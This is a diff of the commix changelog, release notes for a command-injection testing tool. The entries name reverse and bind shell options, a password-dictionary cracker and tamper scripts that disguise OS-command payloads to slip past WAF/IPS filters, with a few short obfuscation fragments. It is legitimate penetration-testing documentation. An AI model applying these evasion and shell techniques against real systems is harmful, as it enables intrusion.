+* Fixed: Improved heuristic detection reliability to reduce false positives.
+* Revised: Improved tamper script reliability, deterministic execution order, and encoding/whitespace handling for more accurate detection.
+* Revised: Improved crawled form handling, including interactive review before testing and correct parameter-type labeling.
+* Fixed: Improved bind/reverse TCP shell payload generation, port/host validation, and IPv6 handling.
+* Fixed: Improved tamper script handling reliability, including duplicate/invalid input and error handling.
+* Fixed: Improved encoding handling reliability to prevent unhandled Unicode errors during scans.
+* Revised: Improved `--interpreter` character extraction to bisect instead of scan linearly.
+* Added: Dynamic parameter detection to identify parameters whose values change between requests.
+* Fixed: Time-related techniques persist the skip-testable-value optimization across resumed sessions.
+* Fixed: Benign patterns like `Accept: */*` are no longer misdetected as a custom injection marker.
+* Fixed: Refactored `--disable-coloring` switch to reliably strip ANSI color codes from output.
+* Revised: Improved `--time-limit` to reliably abort the scan at the configured limit.
+* Fixed: Improved login authentication to correctly capture cookies and submit via POST.
+* Revised: Improved file-read reliability by checking file existence before extraction.
+* Revised: Improved HTTP error handling reliability and performance.
+* Revised: Optimized parameter detection by skipping unnecessary value retrieval during testing.
+* Revised: Improved data extraction performance for time-related techniques.
+* Fixed: Resumed stored techniques are trusted immediately, without a redundant live re-check.
+* Fixed: Improved reliability of HTTP error handling to avoid duplicate requests and inaccurate delay measurements.
+* Revised: Improved `--purge` switch only to clear the current target's session.
+* Revised: Improved WAF/IPS detection coverage, now cached per target across resumed scans.
+* Added: Interactive Ctrl-C handling during detection and exploitation, with cleaner exit handling.
+* Fixed: Multiple bug-fixes improving detection accuracy and reliability for results-based techniques.
+* Fixed: Improved timing-delay reliability and thread-safety for time-related techniques.
+* Revised: Improved redirect handling and connection performance.
+* Fixed: Multiple bug-fixes affecting the reliability of `--tmp-path` and `--web-root`.
+* Revised: Improved validation and error handling reliability for file access options (i.e. `--file-write`/`--file-dest`/`--file-read`).
+* Revised: Improved target parsing performance and reliability for stdin and `-m` (bulk-file) input.
+* Added: New `--forms` switch to parse and test forms on the target URL (requires `--crawl`).
+* Revised: Improved stored-session resume handling.
+* Revised: Improved parameter parsing and injection point detection across all supported request formats.
+* Added: New `--threads` option to support parallel data retrieval, reducing extraction time on supported techniques.
+* Revised: Refactored time-related techniques (i.e. "time-based", "tempfile-based") to use binary search for character extraction.
+* Revised: Refactored `--tor` proxy handling to route HTTP traffic using the configured URL scheme.
+* Added: Spanish translation of [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-es-ES.md).
+* Added: French translation of [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-fr-FR.md).
+* Removed: The local HTTP server functionality, previously used by the deprecated `--file-upload` option, has been removed.
+* Removed: The deprecated `--file-upload` option has been removed, as `--file-write` provides nearly identical functionality.
+* Revised: Refactored `--time-sec` option to apply only to time-related techniques.
+* Removed: The deprecated `--tor-check` switch has been removed, and Tor connectivity is now handled internally with no separate check option.
+* Revised: Improved handling of injectable parameters in JSON objects.
+* Revised: Refactored heuristic payload preprocessing to normalize randomized placeholders.
+* Added: Standardized JSON output formatting with 2-space indentation.
+* Revised: Improved JSON data handling to safely flatten/unflatten mixed nested structures.
+* Revised: Refactored GitHub issue reporting; automatic submission replaced by manual sanitized reports.
+
+## Version 4.1 (2025-12-20)
+* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
+* Fixed: Improved handling of parameter names containing non-ASCII characters.
+* Fixed: Improved handling of non-ASCII characters in URLs to ensure proper request encoding.
+* Revised: Refactored with improved page decompression and safer HTTP response handling.
+* Revised: Refactored OS looping to respect user-specified targets or automatically iterate over supported OSes if none are specified or detected.
+* Revised: Refactored User-Agent strings to be loaded from external files rather than being hardcoded.
+* Revised: Improved handling of URL redirections and associated HTTP responses.
+* Revised: Improved prompts when merging or applying server-set cookies.
+* Added: New switch `--http1.0` to force all outgoing requests to use `HTTP/1.0` protocol.
+* Revised: Enhanced validation of user-specified parameters by detecting and reporting those that are not part of any recognized testable source.
+* Revised: Enhanced injection logic with better handling of custom injection marker (i.e. asterisk `*`) and improved tracking of tested parameters.
+* Revised: Improved detection of custom injection marker (i.e. asterisk `*`) across HTTP input vectors (e.g., URL params, POST data, cookies, headers).
+* Revised: Improved heuristics for processing custom HTTP headers to correctly handle injection markers (i.e. asterisk `*`).
+* Revised: Enhanced target encoding detection with improved charset extraction and prioritization from HTTP headers and HTML meta tags.
+* Added: Ability to verify target URL content stability by comparing responses across delayed requests.
+* Revised: Improved session handler for enhanced stability and data integrity.
+* Revised: Improved semiblind ("file-based") technique with filename customization prompt (random or user-defined).
+* Fixed: Improved handling of non-ASCII characters in URL path and query components.
+* Fixed: Improved handling of HTTP errors missing response codes during authentication.
+* Fixed: Improved handling of `URLError` without HTTP response.
+* Fixed: Minor bug fix for missing `.txt` files during setup/install.
+* Revised: Minor code refactoring to enhance the authentication process with detailed HTTP traffic inspection.
+* Fixed: Improved handling of terminal input to prevent encoding errors.
+* Fixed: Minor bug-fix in parsing improperly padded `Base64` in Authorization headers.
+* Revised: Minor code refactoring to enhance file I/O reliability.
+* Revised: Minor code refactoring to ensure compliance with PEP 440 versioning standards.
+* Revised: Improved key transformation for nested structures using bracket notation and dot syntax.
+* Fixed: Minor bug-fix in parsing improperly escaped characters in JSON objects.
+* Fixed: Minor bug-fix in parsing empty or invalid JSON object.
+* Added: New tamper script "randomcase.py" that replaces each character in a user-supplied OS command with a random case.
+* Revised: Minor code refactoring regarding multiple tamper scripts.
+* Revised: Minor code refactoring regarding payloads for time-related techniques (i.e. "time-based", "tempfile-based").
+* Revised: Improvement regarding tamper script "backticks.py" for supporting time-related techniques (i.e. "time-based", "tempfile-based").
+
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v4.0...v4.1)._
+
+## Version 4.0 (2024-12-20)
+* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
+* Revised: Minor bug-fix regarding tamper script "backticks.py"
+* Revised: Improvements regarding shell options `reverse_tcp`, `bind_tcp`.
+* Revised: Major code refactoring regarding session handler.
+* Revised: Minor improvement regarding options `--prefix`, `--suffix`.
+* Revised: Improvement regarding writing text to the stdout (console) stream.
+* Fixed: Minor bug-fix regarding combining custom injection marker (i.e. asterisk `*`) with `-p` option.
+* Revised: Improvement regarding specifying multiple injection points by appending custom injection marker (i.e. asterisk `*`).
+* Fixed: Minor bug-fix regarding crawler (i.e. option `--crawl`).
+* Updated: Six (third party) module has been updated (Python 3.12 support).
+* Revised: Minor improvement regarding determining (passively) the target's underlying operating system.
+* Revised: Minor improvement for enabling end-users to choose whether to skip or continue testing the remaining parameters, if one is found vulnerable.
+* Revised: Minor improvements regarding semiblind (i.e. "file-based") technique.
+* Fixed: Minor bug-fix regarding option `--output-dir`.
+* Revised: Improvement regarding option `--skip` for excluding certain parameter(s) from testing.
+* Revised: Improvement regarding specifying which parameter(s) to test (i.e. `-p` option).
+* Revised: Improvement regarding processing / ignoring custom injection marker (i.e. asterisk `*`).
+* Revised: Improvement regarding forcing usage of provided HTTP method (e.g. `PUT`).
+* Revised: Improvement regarding parsing raw HTTP request from a file (i.e. `-r` option).
+* Revised: Improvement regarding parsing JSON nested objects.
+* Revised: Improvement regarding (basic) heuristic detection of WAF/IPS protection.
+* Revised: Improvement regarding option `--ignore-code` for ignoring multiple (problematic) HTTP error codes.
+* Added: New option `--abort-code` for aborting on (problematic) HTTP error code(s) (e.g. 401)
+* Added: New option `--time-limit` for running with a time limit in seconds (e.g. 3600).
+
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.9...v4.0)._
+
+## Version 3.9 (2024-01-19)
+* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
+* Revised: Minor improvement regarding logging user-supplied command(s) (i.e. `--os-cmd` option) to a file.
+* Revised: Improvement regarding parsing HTTP requests through Tor HTTP proxy (i.e. `--tor` switch).
+* Added: New (hidden) option `--ignore-stdin` regarding ignoring STDIN input. (via @n00b-bot)
+* Revised: Minor improvement regarding successfully completing the scanning process (i.e. in case that parameters with anti-CSRF tokens are omitted). (via @xerxoria)
+* Revised: Minor improvement regarding Windows-based payloads for semiblind (i.e. "file-based") technique (i.e. command execution output).
+* Revised: Minor improvement in semiblind (i.e. "file-based") technique, regarding defining the URL where the execution output of an injected payload is shown.
+* Added: New switch `--ignore-proxy` to ignore the system default HTTP proxy.
+* Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e. `--proxy` option).
+* Added: New switch `--smart` for conducting through tests only in case of positive heuristic(s).
+* Added: Turkish translation of [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-tr-TR.md) (via @Kazgangap).
+* Revised: Minor improvement regarding parsing SOAP/XML POST data.
+
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.8...v3.9)._
+
+## Version 3.8 (2023-08-14)
+* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
+* Revised: Minor improvement regarding parsing raw HTTP request from a file (i.e. `-r` option).
+* Revised: Minor improvement regarding dynamic code evaluation technique (i.e. command execution output).
+* Added: Farsi(Persian) translation of [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-fa-FA.md) (via @verfosec).
+* Fixed: Minor bug-fix regarding `--skip-empty` switch, for skipping the testing of the parameter(s) with empty value(s).
+* Revised: Minor improvement regarding tamper script "uninitializedvariable.py", for adding randomly generated uninitialized bash variables between the characters of each command of the generated payloads.
+* Revised: Minor improvement regarding skipping further tests involving target that an injection point has already been detected.
+* Revised: Minor code refactoring regarding multiple tamper scripts (i.e. "backslashes.py", "dollaratsigns.py", "doublequotes.py", "singlequotes.py", "uninitializedvariable.py").
+* Added: New tamper script "rev.py" that reverses (characterwise) the user-supplied operating system commands.
+* Fixed: Minor bug-fix regarding checking for similarity in provided parameter(s) name(s) and value(s).
+* Fixed: Minor bug-fix regarding forcing usage of SSL/HTTPS requests toward the target (i.e. `--force-ssl` switch).
+* Fixed: Minor bug-fix regarding setting custom output directory path (i.e. `--output-dir` option).
+* Added: Support for `Bearer` HTTP authentication type.
+* Revised: Minor improvement regarding tamper script "xforwardedfor.py" (that appends a fake HTTP header `X-Forwarded-For`).
+* Fixed: Minor bug-fix regarding not ignoring specified injection technique(s) when `--ignore-session` or `--flush-session` options are set.
+* Replaced: The `--dependencies` option has been replaced with `--ignore-dependencies`, regarding ignoring all required third-party library dependencies.
+* Added: New option `--alert` to run host OS command(s) when injection point is found.
+
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.7...v3.8)._
+
+## Version 3.7 (2023-02-17)
+* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
+* Added: Indonesian translation of [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-idn-IDN.md) (via @galihap76).
+* Revised: Improvements regarding parsing HTTP requests through HTTP proxy (i.e. `--proxy` option).
+* Revised: Improvements regarding identifying injection marker (i.e. asterisk `*`) in provided parameter values (e.g. GET, POST or HTTP headers).
+* Added: New option ` --crawl-exclude` regarding setting regular expression for excluding pages from crawling (e.g. `logout`).
+* Revised: Improvement regarding `--crawl` option, for skipping further tests involving target that an injection point has already been detected.
+* Added: Support regarding combining `--crawl` option with scanning multiple targets given from piped-input (i.e. `stdin`).
+* Revised: Minor improvement regarding adding PCRE `/e` modifier (i.e. dynamic code evaluation technique).
+* Revised: Minor bug-fix regarding logging all HTTP traffic into a textual file (i.e. `-t` option).
+
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.6...v3.7)._
+
+## Version 3.6 (2022-11-18)
+* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
+* Revised: Improvements regarding dynamic code evaluation heuristic check.
+* Revised: Minor improvement regarding session handler.
+* Revised: Minor improvement regarding `--wizard` option.
+* Added: New tamper script "printf2echo.py" that replaces the printf-based ASCII to Decimal `printf "%d" "'$char'"` with `echo -n $char | od -An -tuC | xargs`.
+* Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e. `--proxy` option).
+* Revised: Minor improvement regarding handling HTTP Error 401 (Unauthorized).
+
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.5...v3.6)._
+
+## Version 3.5 (2022-07-03)
+* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
+* Revised: Improvements regarding Windows-based payloads for every supported technique.
+* Revised: Improvement regarding alternative shell (i.e.`--alter-shell`) for generating Python 3x payloads.
+* Removed: The deprecated modules "ICMP exfiltration" and "DNS exfiltration" have been removed.
+* Revised: Improvement regarding identifying injection marker (i.e. asterisk `*`) in provided options.
+* Revised: Improvement regarding shellshock module.
+* Added: Support regarding parsing target(s) from piped-input (i.e. `stdin`).
+* Added: New option `--answers` to set user answers to asked questions during commix run.
+* Added: Support regarding combining `--crawl` option with scanning multiple targets given in a textual file (i.e. via option `-m`).
+* Added: Support for normalizing crawling results.
+* Revised: Improvement regarding crawler.
+* Revised: Minor bug-fix regarding `--file-upload` option.
+* Revised: Minor improvement regarding identifying `Hex` and/or `Base64` encoded parameter(s) value(s).
+* Added: New option `--no-logging` for disabling logging to a file.
+* Revised: Minor improvement regarding redirect handler.
+* Updated: Minor update regarding scanning multiple targets given in a textual file (i.e. via option `-m`).
+* Added: Support for heuristic detection regarding command injections.
+* Revised: Ιmprovement regarding `--level` option, which not only adds more injection points (i.e. Cookies, HTTP headers) but also performs more tests for each injection point.
+* Revised: Improvement regarding injecting into custom HTTP Header(s).
+
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.4...v3.5)._
+
+## Version 3.4 (2022-02-25)
+* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
+* Fixed: Bug-fix regarding forcing usage of provided HTTP method (e.g. `PUT`).
+* Fixed: Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option).
+* Fixed: Minor bug-fix regarding parsing JSON objects.
+* Added: New option `--drop-set-cookie` for ignoring `Set-Cookie` HTTP header from response.
+* Added: Support for checking for not declared cookie(s).
+* Added: New (hidden) option `--smoke-test` that runs the basic smoke testing.
+* Revised: Improvement regarding mechanism which nagging if used "dev" version is > 30 days old.
+* Revised: Improvements regarding dynamic code evaluation heuristic check.
+* Replaced: The `--encoding` option has been replaced with `--codec`.
+
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.3...v3.4)._
+
## Version 3.3 (2021-09-13)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Fixed: Minor bug-fix regarding scanning multiple targets given in a textual file (i.e. via option `-m`).
* Removed: The "Regsvr32.exe application whitelisting bypass" attack vector has been removed.
* Updated: Minor update regarding web delivery script (i.e. Python meterpreter reverse TCP shell).
* Replaced: The `--backticks` switch has been replaced with "backticks.py" tamper script.
-* Added: New tamper script "backticks.py" that uses backticks instead of "$()", for commands substitution. (for *nix targets).
+* Added: New tamper script "backticks.py" that uses backticks instead of `$()`, for command substitution.
* Added: New option ( `--skip-heuristic`) for skipping dynamic code evaluation heuristic check.
-* Added: Support for parsing custom wordlists regarding HTTP authentication (Basic / Digest) dictionary-based cracker.
+* Added: Support for parsing custom wordlists regarding HTTP authentication (i.e. `Basic`, `Digest`) dictionary-based cracker.
* Revised: Improvements regarding dynamic code evaluation heuristic check.
* Fixed: Minor bug-fix regarding parsing SOAP/XML data via `--data` option.
* Revised: Minor improvement regarding parsing GraphQL JSON objects.
-* Added: The .bat files command separator (i.e. ["%1a"](http://seclists.org/fulldisclosure/2016/Nov/67)) has been added.
+* Added: The .bat files command separator (i.e. [`%1a`](http://seclists.org/fulldisclosure/2016/Nov/67)) has been added.
* Added: New option `--method` to force usage of provided HTTP method (e.g. `PUT`).
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.2...v3.3)._
+
## Version 3.2 (2021-04-12)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
-* Added: New tamper script "slash2env.py" that replaces slashes ("/") with environment variable value "${PATH%%u*}" (for *nix targets).
+* Added: New tamper script "slash2env.py" that replaces slashes (`/`) with environment variable value `${PATH%%u*}`.
* Revised: Minor improvement regarding session handler for supporting Python 3.4+.
* Revised: Minor improvement regarding `--web-root` option.
-* Added: New tamper script "uninitializedvariable.py" that adds uninitialized bash variables between the characters of each command of the generated payloads (for *nix targets).
+* Added: New tamper script "uninitializedvariable.py" that adds uninitialized bash variables between the characters of each command of the generated payloads.
* Revised: Improvement regarding decompressing `deflate`, `x-gzip` and `gzip` HTTP responses.
* Fixed: Bug-fix regarding several charset-related unhandled exceptions.
* Revised: Improvements regarding dynamic code evaluation heuristic check.
-* Fixed: Bug-fix regarding HTTP authentication (Basic / Digest) dictionary-based cracker.
+* Fixed: Bug-fix regarding HTTP authentication (i.e. `Basic`, `Digest`) dictionary-based cracker.
* Fixed: Bug-fix regarding logging all HTTP traffic into a textual file.
* Revised: Improvement regarding crawler.
* Fixed: Multiple bug-fixes regarding supporting Python 3.9.
* Revised: Improvement regarding mechanism which nagging if used version is > 30 days old.
* Fixed: Multiple bug-fixes regarding the shellshock module.
-* Revised: Improvement regarding Python 3.4+ for using the "html.unescape()" function for converting HTML entities to plain-text representations.
+* Revised: Improvement regarding Python 3.4+ for using the `html.unescape()` function for converting HTML entities to plain-text representations.
* Updated: Minor update regarding smartphones to imitate, through HTTP User-Agent header.
* Fixed: Bug-fix regarding setting suitable HTTP header User-Agent, when combining `--random-agent` or `--mobile` switch with `-r` option.
-* Fixed: Bug-fix regarding "hex" encoding/decoding.
+* Fixed: Bug-fix regarding `Hex` encoding/decoding.
* Added: New option ( `--timeout`) for setting a number of seconds to wait before timeout connection (default 30).
* Revised: Increased default timeout to 30 seconds.
* Fixed: Bug-fix regarding Basic HTTP authentication.
* Fixed: Bug-fix regarding connection problems (via @fuero).
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.1...v3.2)._
+
## Version 3.1 (2020-06-17)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Added: A script "setup.py" has been added (i.e. easier installation).
-* Revised: Improvement regarding checking if the provided value has boundaries (e.g. 'param=/value/').
+* Revised: Improvement regarding checking if the provided value has boundaries (e.g. `param=/value/`).
* Revised: Improvement regarding dynamic code evaluation technique's heuristic checks.
* Revised: Improvement regarding identifying the indicated web-page charset.
* Revised: Minor improvement regarding verbose mode (i.e. debug messages).
* Fixed: Bug-fix regarding Basic HTTP authentication.
* Revised: Minor improvement regarding redirection mechanism.
-* Fixed: Bug-fix regarding defining wildcard character "*" in nested JSON objects.
+* Fixed: Bug-fix regarding defining custom injection marker (i.e. asterisk `*`) in nested JSON objects.
* Revised: Minor improvement regarding Flatten_json (third party) module.
* Revised: Minor improvement regarding parsing nested JSON objects.
-* Added: New tamper script "doublequotes.py" that adds double-quotes ("") between the characters of the generated payloads (for *nix targets).
+* Added: New tamper script "doublequotes.py" that adds double-quotes (`""`) between the characters of the generated payloads.
* Fixed: Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option).
* Revised: Improvements regarding data in the detailed message about occurred unhandled exception.
* Revised: Minor bug-fixes and improvements regarding HTTP authentication dictionary-based cracker.
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.0-20191111...v3.1)._
+
## Version 3.0 (2019-11-11)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Revised: Improvement regarding identifying the indicated web-page charset.
@@ -62,33 +417,39 @@
* Added: Six (third party) module has been added.
* Revised: Improvement regarding parsing nested JSON objects that contain boolean values.
* Replaced: The `--ignore-401` option has been replaced with `--ignore-code` option.
-* Added: New option ( `--ignore-code`) for ignoring (problematic) HTTP error code (e.g. 401).
+* Added: New option `--ignore-code` for ignoring (problematic) HTTP error code (e.g. 401).
+
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.9-20190626...v3.0-20191111)._
## Version 2.9 (2019-06-26)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Fixed: Bug-fix regarding parsing hostname and port from URL.
-* Revised: Improvement regarding automatically decoding "deflate" and "gzip" HTTP responses.
-* Fixed: Bug-fix regarding parsing HTTP header values that contain multiple ":".
+* Revised: Improvement regarding automatically decoding `deflate` and `gzip` HTTP responses.
+* Fixed: Bug-fix regarding parsing HTTP header values that contain multiple `":"`.
* Revised: Improvement regarding updating "Content-Length" HTTP header, in case it's provided by user (i.e. `-r`, `--header`, `--header` options).
* Revised: Improvement regarding parsing raw HTTP headers from a file (i.e. `-r` option).
* Revised: Improvement regarding parsing nested JSON objects.
* Added: Flatten_json (third party) module has been added.
* Revised: Bug-fixes and improvements regarding parsing JSON objects.
-* Added: GPL Cooperation Commitment (COMMITMENT.txt) has been added.
-* Updated: Minor update regarding HTTP authentication (Basic / Digest).
+* Added: GPL Cooperation Commitment ([COMMITMENT.txt](https://github.com/commixproject/commix/blob/master/COMMITMENT.txt)) has been added.
+* Updated: Minor update regarding HTTP authentication (i.e. `Basic`, `Digest`).
* Revised: Minor improvements regarding preventing false negative results, due to parameters tampering during the detection phase.
* Revised: Minor improvements regarding "reverse_tcp" and "bind_tcp" shell options.
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.8-20190326...v2.9-20190626)._
+
## Version 2.8 (2019-03-26)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Updated: Minor update regarding accepting overly long result lines.
* Revised: Minor bug-fixes and improvements regarding `--file-upload` option.
* Revised: Minor bug-fixes and improvements regarding HTTP authentication dictionary-based cracker.
-* Revised: Minor bug-fixes and improvements regarding HTTP authentication (Basic / Digest).
+* Revised: Minor bug-fixes and improvements regarding HTTP authentication (i.e. `Basic`, `Digest`).
* Fixed: Minor bug-fix regarding ignoring HTTP Error 401 (Unauthorized) (for `--ignore-401` option).
* Added: Support for writing crawling results to a temporary file (for eventual further processing with other tools).
* Added: Support for Windows "Python" on "reverse_tcp" shell option.
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.7-20181218...v2.8-20190326)._
+
## Version 2.7 (2018-12-18)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Revised: The suffixes list has been shortly revised.
@@ -99,16 +460,18 @@
* Revised: Minor update of redirection mechanism.
* Revised: Minor improvement regarding identifying the target web server.
* Revised: Minor improvement regarding identifying corrupted .pyc file(s).
-* Added: New tamper script "dollaratsigns.py" that adds dollar-sign followed by an at-sign ("$@") between the characters of the generated payloads.
+* Added: New tamper script "dollaratsigns.py" that adds dollar-sign followed by an at-sign (`$@`) between the characters of the generated payloads.
* Fixed: Bug-fix regarding proxying SSL/TLS requests.
-* Revised: Minor improvement regarding checking for potentially miswritten (illegal '=') short option.
+* Revised: Minor improvement regarding checking for potentially miswritten (illegal `=`) short option.
* Revised: Minor improvement regarding checking for illegal (non-console) quote and comma characters.
* Revised: Minor improvement regarding merging of tamper script arguments.
* Revised: Minor improvement regarding ignoring the parameter(s) that carrying anti-CSRF token(s) in all scanning attempts.
* Updated: Beautiful Soup (third party) module has been updated.
-* Added: New tamper script "xforwardedfor.py" that appends a fake HTTP header 'X-Forwarded-For'.
+* Added: New tamper script "xforwardedfor.py" that appends a fake HTTP header `X-Forwarded-For`.
* Fixed: Minor bug-fix regarding loading tamper scripts.
-* Revised: Minor improvement regarding "INJECT_HERE" tag (i.e. declaring injection position) to be case insensitive.
+* Revised: Minor improvement regarding `INJECT_HERE` tag (i.e. declaring injection position) to be case insensitive.
+
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.6-20180921...v2.7-20181218)._
## Version 2.6 (2018-09-21)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
@@ -116,18 +479,20 @@
* Added: New option `--list-tampers` for listing available tamper scripts.
* Revised: Minor improvement regarding resolving target hostname.
* Added: Support for "Ncat" on "reverse_tcp" and "bind_tcp" shell options.
-* Added: Support for "Bash" (via /dev/tcp) on "reverse_tcp" shell option.
-* Added: Support for "Netcat-Openbsd" (nc without -e) on "reverse_tcp" and "bind_tcp" shell options.
+* Added: Support for "Bash" (via `/dev/tcp`) on "reverse_tcp" shell option.
+* Added: Support for "Netcat-Openbsd" (i.e. nc without -e) on "reverse_tcp" and "bind_tcp" shell options.
* Added: Support for "Socat" on "reverse_tcp" and "bind_tcp" shell options.
* Revised: Minor improvement regarding counting the total of HTTP(S) requests, for the identified injection point(s) during the detection phase.
* Fixed: Minor bug-fix regarding providing the target host's root directory.
* Added: New tamper script "sleep2timeout.py" that uses "timeout" function for time-based attacks.
-* Added: New tamper script "sleep2usleep.py" that replaces "sleep" with "usleep" command in the time-related generated payloads.
+* Added: New tamper script "sleep2usleep.py" that replaces `sleep` with `usleep` command in the time-related generated payloads.
* Replaced: The `--purge-output` option has been replaced with `--purge` option.
* Fixed: Minor bug-fix regarding performing injections through cookie parameters.
* Revised: Minor improvement regarding ignoring the Google Analytics cookie in all scanning attempts.
* Fixed: Minor bug-fix regarding "bind_tcp" shell option.
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.5-20180713...v2.6-20180921)._
+
## Version 2.5 (2018-07-13)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Revised: Improvement regarding identifying the appropriate format parameters, in the provided POST data.
@@ -136,22 +501,26 @@
* Added: Support regarding checking for potential CAPTCHA protection mechanism.
* Revised: The separators list, has been shortly revised.
* Revised: Minor improvement regarding the extracted HTTP response headers.
-* Added: New tamper script "nested.py" that adds double quotes around of the generated payloads (for *nix targets).
-* Fixed: Minor bug-fix regarding performing injections through HTTP Headers (e.g User-Agent, Referer, Host etc).
-* Fixed: Major bug-fixes regarding testing time-related ("time-based"/"tempfile-based") payloads.
-* Added: New tamper script "backslashes.py" that adds back slashes (\) between the characters of the generated payloads (for *nix targets).
+* Added: New tamper script "nested.py" that adds double quotes around of the generated payloads.
+* Fixed: Minor bug-fix regarding performing injections through HTTP Headers (e.g. User-Agent, Referer, Host etc).
+* Fixed: Major bug-fixes regarding testing time-related payloads (i.e. "time-based", "tempfile-based").
+* Added: New tamper script "backslashes.py" that adds back slashes (`\`) between the characters of the generated payloads.
* Fixed: Minor bug-fix regarding unicode decode exception error due to invalid codec, during connection on target host.
* Revised: Improvement regarding combining tamper script "multiplespaces.py" with other space-related tamper script(s).
* Added: New tamper script "multiplespaces.py" that adds multiple spaces around OS commands.
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.4-20180521...v2.5-20180713)._
+
## Version 2.4 (2018-05-21)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Fixed: Minor bug-fix regarding ignoring invalid and/or empty tamper scripts.
* Updated: Colorama (third party) module has been updated.
* Revised: Minor improvement regarding keeping the git folder 'clean' (via @g0tmi1k).
* Fixed: Minor bug-fix regarding loading multiple tamper scripts (during the exploitation phase).
-* Added: New tamper script "caret.py" that adds the caret symbol (^) between the characters of the generated payloads (for windows targets).
-* Added: New tamper script "singlequotes.py" that adds single quotes (') between the characters of the generated payloads (for *nix targets).
+* Added: New tamper script "caret.py" that adds the caret symbol (`^`) between the characters of the generated payloads.
+* Added: New tamper script "singlequotes.py" that adds single quotes (`'`) between the characters of the generated payloads.
+
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.3-20180307...v2.4-20180521)._
## Version 2.3 (2018-03-07)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
@@ -169,29 +538,33 @@
* Revised: Improvement regarding testing json-formated POST data with empty value(s).
* Revised: Minor improvement regarding verbose mode for removing the first and/or last line of the html content (in case there are/is empty).
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.2-20171212...v2.3-20180307)._
+
## Version 2.2 (2017-12-12)
* Revised: Minor improvement in "updater", for supporting verbose mode.
* Fixed: Minor bug-fix regarding cookie-based command injections.
* Revised: Minor improvement regarding option `-p` for bypassing the dependence on value of `--level` (in case of user-defined HTTP headers).
* Revised: Minor improvement regarding option `-p` for testing user-defined HTTP headers.
-* Added: New option `--failed-tries` for setting a number of failed injection tries, in file-based technique.
+* Added: New option `--failed-tries` for setting a number of failed injection tries, in semiblind (i.e. "file-based") technique.
* Revised: Minor improvement regarding session handler.
-* Revised: Minor improvement regarding checking stored time-related ("time-based"/"tempfile-based") payloads.
+* Revised: Minor improvement regarding checking stored time-related payloads (i.e. "time-based", "tempfile-based").
* Revised: Minor improvement regarding Python version check (no more crashes on Python >= "3" and < "2.6").
* Revised: Minor improvement in "updater", for checking commit hash number.
* Added: New option `--skip` regarding excluding certain parameter(s) from testing.
* Added: New option `--skip-technique` regarding excluding certain injection technique(s) from testing.
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.1-20171003...v2.2-20171212)._
+
## Version 2.1 (2017-10-03)
-* Added: New option `--header` for providing a single extra HTTP header (e.g. 'X-Forwarded-For: 127.0.0.1').
+* Added: New option `--header` for providing a single extra HTTP header (e.g. `X-Forwarded-For: 127.0.0.1`).
* Added: New option `--check-internet` that checks internet connection before assessing the target.
-* Fixed: Minor bug-fix regarding performing injections through HTTP Headers (i.e Cookie, User-Agent, Referer).
+* Fixed: Minor bug-fix regarding performing injections through HTTP Headers (i.e. Cookie, User-Agent, Referer).
* Revised: Minor improvement regarding checking stored payloads and enabling appropriate tamper scripts during the exploitation phase.
-* Added: New tamper script "space2vtab.py" that replaces every space ("%20") with vertical tab ("%0b") (for Windows targets).
+* Added: New tamper script "space2vtab.py" that replaces every space (`%20`) with vertical tab (`%0b`).
* Replaced: The tamper script "space2tab.py" has been replaced with "space2htab.py".
-* Fixed: Minor bug-fix regarding checking for similarity in provided parameter name and value (GET / POST).
-* Added: New option `--backticks` that uses backticks instead of "$()", for commands substitution.
-* Revised: Minor improvement in Netcat shells, for giving to the end-user the choice of using the "/bin" standard subdirectory.
